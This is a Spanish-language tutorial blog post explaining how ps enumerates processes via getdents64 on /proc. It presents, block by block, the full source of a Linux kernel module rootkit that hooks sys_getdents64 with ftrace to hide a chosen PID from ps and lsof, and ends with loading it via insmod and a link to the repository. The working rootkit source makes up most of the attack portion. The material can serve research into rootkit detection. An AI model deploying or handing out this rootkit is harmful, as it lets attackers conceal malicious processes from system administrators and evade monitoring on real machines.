Ocultando Procesos en Linux con Rootkits

20 de julio de 2025


En un artículo anterior, exploramos cómo ocultar puertos abiertos en Linux utilizando rootkits. En esta ocasión, se enfocará en alterar el comportamiento de la función getdents64() para ocultar procesos específicos.

Identificando el Origen de los Datos

Para ocultar un proceso en un sistema Linux, primero necesitamos entender de dónde obtiene la información un comando que nos devuelva dicha lista, por ejemplo, el comando ps -aux. Al ejecutarlo con strace, podemos depurar las diferentes llamadas al sistema que se realizan.

Este comando, lista todos los procesos en ejecución en el sistema. Para obtener esta información, ps necesita acceder a varios archivos y directorios, especialmente dentro del sistema de archivos virtual /proc/. La herramienta strace nos permite ver las llamadas al sistema que ps realiza, incluyendo las llamadas a openat, que abren archivos.

El directorio virtual /proc/ actúa como un puente dinámico entre el kernel y los procesos de usuario. A diferencia de los directorios convencionales, que residen en el almacenamiento físico, /proc/ se construye en memoria, generando su contenido de manera efímera cuando se le solicita. Esto asegura que los archivos y directorios dentro de /proc/ reflejen el estado actual del sistema en tiempo real.

Cada proceso en ejecución dispone de su propio directorio dentro de /proc/, nombrado según su identificador de proceso (PID). Estos directorios albergan archivos como stat, status y cmdline, que detallan la información del proceso. Estos archivos no son estáticos, sino que se generan dinámicamente a partir de las estructuras de datos del kernel, garantizando así la actualización constante de la información. Además de la información de los procesos, /proc/ también facilita el acceso a datos del hardware del sistema, consolidándose como una herramienta indispensable para la monitorización y administración del sistema.

La llamada getdents64 es fundamental, ya que permite la lectura de las entradas de un directorio, y /proc/ es precisamente el directorio virtual que contiene la información de los procesos en ejecución. La observación de que ps utiliza getdents64 con descriptores de archivo vinculados a /proc/, y que las entradas leídas corresponden a los PIDs, confirma que esta llamada es el mecanismo principal mediante el cual ps enumera los procesos activos.

En el contexto de la llamada al sistema getdents64, el primer argumento que se le pasa es el descriptor de archivo, un entero que actúa como identificador único para un directorio abierto dentro de un proceso. Este descriptor se asigna cuando un proceso abre un directorio mediante la llamada al sistema open o openat, y permite al kernel y al proceso referirse a ese directorio de manera eficiente en operaciones posteriores. Así, en getdents64, este descriptor de archivo especifica el directorio cuyas entradas se están solicitando, permitiendo al kernel saber qué directorio debe leer.

Esto se puede comprobar en el código fuente, fd es File Descriptor (número entero).

La función openat() es la encargada de establecer la conexión inicial entre un proceso y un archivo o directorio, un paso necesario para cualquier operación posterior de lectura o escritura. Durante este proceso, el kernel asigna un descriptor de archivo único, un número entero que servirá como identificador para la conexión establecida, permitiendo al proceso referirse a ese archivo o directorio en futuras interacciones. Esta asignación es lógica dentro de openat() ya que esta función gestiona la apertura y verificación de permisos, y la creación de la entrada en la tabla de archivos abiertos del proceso, donde el descriptor de archivo actúa como índice para acceder a la información de la conexión.

Sabiendo esto, podemos filtrar por los identificadores del los descriptores de archivo que se están utilizando en la ejecución de ps.

El descriptor de archivo 3 se utiliza para abrir diversos archivos y bibliotecas esenciales para el funcionamiento del comando ps. Esta salida de strace revela la apertura de bibliotecas compartidas (.so files) como libprocps.so.8, libc.so.6 y otras dependencias, necesarias para que ps ejecute sus funciones. También se abren archivos de configuración del sistema, como /etc/ld.so.cache, que almacena la caché de las bibliotecas compartidas. Además, se accede a archivos dentro de /proc/self/ para obtener información sobre el propio proceso ps, y a archivos del sistema como /proc/sys/kernel/osrelease y /sys/devices/system/cpu/online para recopilar datos del kernel y del hardware. Finalmente, se incluye una llamada a read que indica la lectura de los argumentos pasados al comando grep, utilizado para filtrar la salida.

El descriptor de archivo 4 se utiliza para abrir una variedad de archivos de configuración del sistema y archivos dentro del sistema de archivos virtual /proc/, todos ellos necesarios para que ps recopile información sobre los procesos. Se observa la apertura de archivos como /etc/nsswitch.conf y /etc/passwd, que son esenciales para la resolución de nombres de usuario. También se abren archivos dentro de /proc/, como /proc/self/stat, /proc/sys/kernel/pid_max, /proc/sys/kernel/osrelease y /proc/meminfo, que proporcionan información sobre el estado del proceso y del sistema. Además, se observa la apertura repetida del directorio raíz (/) y de algunas bibliotecas del sistema. En general, esta salida refleja la apertura de archivos de configuración y del sistema, así como la lectura de información del kernel y del proceso, todos ellos cruciales para el funcionamiento de ps.

El descriptor de archivo 5 se utiliza para abrir directorios y, finalmente, el directorio /proc/, que es crucial para la funcionalidad de ps. Esta salida de strace muestra una serie de llamadas a openat donde se abre directorios como /etc/, /run/, /usr/, y /lib/, utilizando el descriptor de archivo 4 como directorio base. Estas llamadas, que incluyen la opción O_PATH, indican que se están abriendo los directorios para obtener un descriptor de archivo que permita referirse a ellos, pero no para leer su contenido directamente. Finalmente, la llamada openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 confirma que el descriptor de archivo 5 se asigna al directorio /proc/. Esta apertura es esencial, ya que ps necesita leer el contenido de /proc/ para obtener información sobre los procesos en ejecución, lo que subraya la importancia de este descriptor de archivo en el proceso de recopilación de información por parte de ps.

Finalmente, el descriptor número 6 se utiliza para obtener la información detallada de los procesos, como /proc/1/stat, /proc/1/status, y /proc/1/cmdline, que contienen información de estado y línea de comandos del proceso con PID 1, y así sucesivamente para otros procesos. Además, se abre el archivo /etc/passwd, necesario para la resolución de nombres de usuario, y archivos como /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache y /etc/localtime, que proporcionan información de codificación de caracteres y zona horaria. La apertura del archivo /proc/stat también es relevante, ya que contiene estadísticas del sistema. En resumen, el descriptor de archivo 6 se utiliza para acceder a información específica de los procesos y del sistema, esencial para que ps pueda mostrar los detalles de los procesos en ejecución.

Para modificar el comportamiento de estas llamadas, tendremos que utilizar una técnica llamada "hooking". Esto significa que, en lugar de llamar a la función original, se llama a una función personalizada que se encarga de realizar la misma acción, pero con un comportamiento diferente en función de cada caso.

Ahora bien, volviendo a los descriptores de archivos, habíamos comprobado que se asigna dicho identifiacador a cada proceso que se va a listar, porque la estructura task_struct se contiene dinámicamente en el procfs y se lee utilizando la función openat(). El segundo argumento que recibe getdents64() es la estructura linux_dirent64.

El campo d_name contiene el nombre del directorio, que en este caso es el identificador del proceso, ya que dentro de /proc/ se encuentran un subdirectorio por cada PID.

A modo de prueba, se ejecutará un servidor HTTP con python (que será el proceso que se tratará de ocultar)

root@rubbxvm:~/hide-process-rootkit# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Con el comando ps -aux se obtiene el PID del proceso.

Por tanto, el directorio que hay que ocultar es /proc/3055.

Utilizaremos la biblioteca ftrace_helper.h para interceptar y modificar las funciones del kernel en tiempo de ejecución. Esta contiene las estructuras de datos necesarias, junto con sus implementaciones, que se invocarán en el módulo final.

Implementando el Hook

El siguiente módulo intercepta la syscall getdents64, examina cada entrada de directorio que se retorna y elimina aquella que corresponda a /proc/3055, ocultando así el proceso con PID 3055.

El código comienza incluyendo las cabeceras necesarias para trabajar con módulos del kernel de Linux. Estas cabeceras permiten gestionar memoria, acceder de manera segura a memoria del espacio de usuario, manejar llamadas al sistema, y trabajar con estructuras de archivos y directorios. Finalmente, se define una constante HIDDEN_PATH que contiene la ruta absoluta que se desea ocultar, en este caso /proc/3055.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/dcache.h>
#include <linux/path.h>

#include "ftrace_helper.h"

#define HIDDEN_PATH "/proc/3055"

A continuación, se definen macros que facilitan extraer los argumentos de la syscall cuando estos vienen dentro de una estructura de registros del procesador (pt_regs). En arquitecturas como x86_64, los argumentos se pasan por registros específicos, y estas macros simplifican el acceso a esos valores con el tipo correcto, garantizando que el módulo funcione bien en distintas versiones del kernel.

#ifdef PTREGS_SYSCALL_STUBS
#define FIRST_ARG(regs, cast) (cast)regs->di
#define SECOND_ARG(regs, cast) (cast)regs->si
#define THIRD_ARG(regs, cast) (cast)regs->dx
#endif

La función principal llamada evil es la encargada de realizar el filtrado para ocultar la entrada de directorio deseada. Para ello, primero reserva memoria en el kernel para copiar el buffer de entradas que la syscall getdents64 ha leído del espacio de usuario. Después, usa copy_from_user para traer ese buffer al kernel, de modo que pueda inspeccionarlo y modificarlo si es necesario.

int evil(unsigned int fd, struct linux_dirent __user *dirent, int res) {
    int err;
    unsigned long off = 0;
    struct linux_dirent64 *kdir, *kdirent, *prev = NULL;
    struct file *file;
    char dir_path_buf[PATH_MAX], *dir_path;

    kdirent = kzalloc(res, GFP_KERNEL);
    if (!kdirent)
        return res;

    err = copy_from_user(kdirent, dirent, res);
    if (err)
        goto out;

Luego, la función obtiene la estructura file asociada al descriptor de archivo fd, que identifica el directorio que se está leyendo. Con esta estructura, transforma la ruta interna del kernel en una cadena legible con d_path. Esto es importante para saber exactamente qué directorio está siendo listado, y así poder decidir si ocultar alguna entrada.

    file = fget(fd);
    if (!file)
        goto out;

    dir_path = d_path(&file->f_path, dir_path_buf, PATH_MAX);
    fput(file);

    if (IS_ERR(dir_path))
        goto out;

Después, se recorre todo el buffer de entradas de directorio, una por una. Para cada entrada, se construye su ruta absoluta concatenando el directorio base y el nombre de la entrada. Se compara esta ruta completa con la ruta que queremos ocultar (/proc/3055). Si hay coincidencia, se elimina esa entrada del buffer. Si la entrada a eliminar está al principio, se mueve el resto del buffer para cubrirla y se ajusta el tamaño. Si está en medio o al final, se aumenta el tamaño de la entrada anterior para absorber la eliminada. Si no coincide, simplemente se avanza al siguiente registro.

    while (off < res) {
        kdir = (void *)kdirent + off;

        char full_path[PATH_MAX];
        snprintf(full_path, PATH_MAX, "%s/%s", dir_path, kdir->d_name);

        if (strcmp(full_path, HIDDEN_PATH) == 0) {
            if (kdir == kdirent) {
                res -= kdir->d_reclen;
                memmove(kdir, (void *)kdir + kdir->d_reclen, res);
                continue;
            }
            prev->d_reclen += kdir->d_reclen;
        } else {
            prev = kdir;
        }
        off += kdir->d_reclen;
    }

Una vez terminado el filtrado, el buffer modificado se copia de vuelta al espacio de usuario para que el proceso que llamó a getdents64 reciba la lista sin la entrada oculta. Finalmente, se libera la memoria reservada y se retorna el tamaño actualizado del buffer.

    err = copy_to_user(dirent, kdirent, res);
    if (err)
        goto out;

out:
    kfree(kdirent);
    return res;
}

Después, se define la función hook que intercepta la syscall original getdents64. Dependiendo de la versión del kernel, esta función puede recibir sus argumentos empaquetados en una estructura pt_regs o directamente como parámetros. En ambos casos, primero se llama a la función original para obtener el listado completo de entradas. Si la llamada fue exitosa, se pasa el resultado a la función evil para que filtre la entrada oculta. Finalmente, se retorna el tamaño modificado del buffer.

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_sys_getdents64)(const struct pt_regs *);
static asmlinkage int hook_sys_getdents64(const struct pt_regs *regs) {
    struct linux_dirent __user *dirent = SECOND_ARG(regs, struct linux_dirent __user *);
    unsigned int fd = FIRST_ARG(regs, unsigned int);
    int res;

    res = orig_sys_getdents64(regs);
    if (res <= 0)
        return res;

    res = evil(fd, dirent, res);
    return res;
}
#else
static asmlinkage long (*orig_sys_getdents64)(unsigned int, struct linux_dirent __user *, unsigned int);
static asmlinkage int hook_sys_getdents64(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) {
    int res;

    res = orig_sys_getdents64(fd, dirent, count);
    if (res <= 0)
        return res;

    res = evil(fd, dirent, res);
    return res;
}
#endif

Finalmente, se declara un array con el hook registrado para interceptar la función sys_getdents64. Las funciones rootkit_init y rootkit_exit se encargan de instalar y remover el hook al cargar y descargar el módulo respectivamente.

static struct ftrace_hook syscall_hooks[] = {
    HOOK("sys_getdents64", hook_sys_getdents64, &orig_sys_getdents64),
};

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Rubbx");
MODULE_DESCRIPTION("Rootkit designed to hide processes from system directory listings.");

static int __init rootkit_init(void) {
    return fh_install_hooks(syscall_hooks, ARRAY_SIZE(syscall_hooks));
}

static void __exit rootkit_exit(void) {
    fh_remove_hooks(syscall_hooks, ARRAY_SIZE(syscall_hooks));
}

module_init(rootkit_init);
module_exit(rootkit_exit);

Prueba de Concepto

Tras compilar el módulo, se puede cargar en el kernel con insmod. De esta forma, el proceso se seguirá ejecutando pero no será visible en ps ni en lsof, por ejemplo.

El código del rootkit está disponible en https://github.com/rubbxalc/hide-process-rootkit.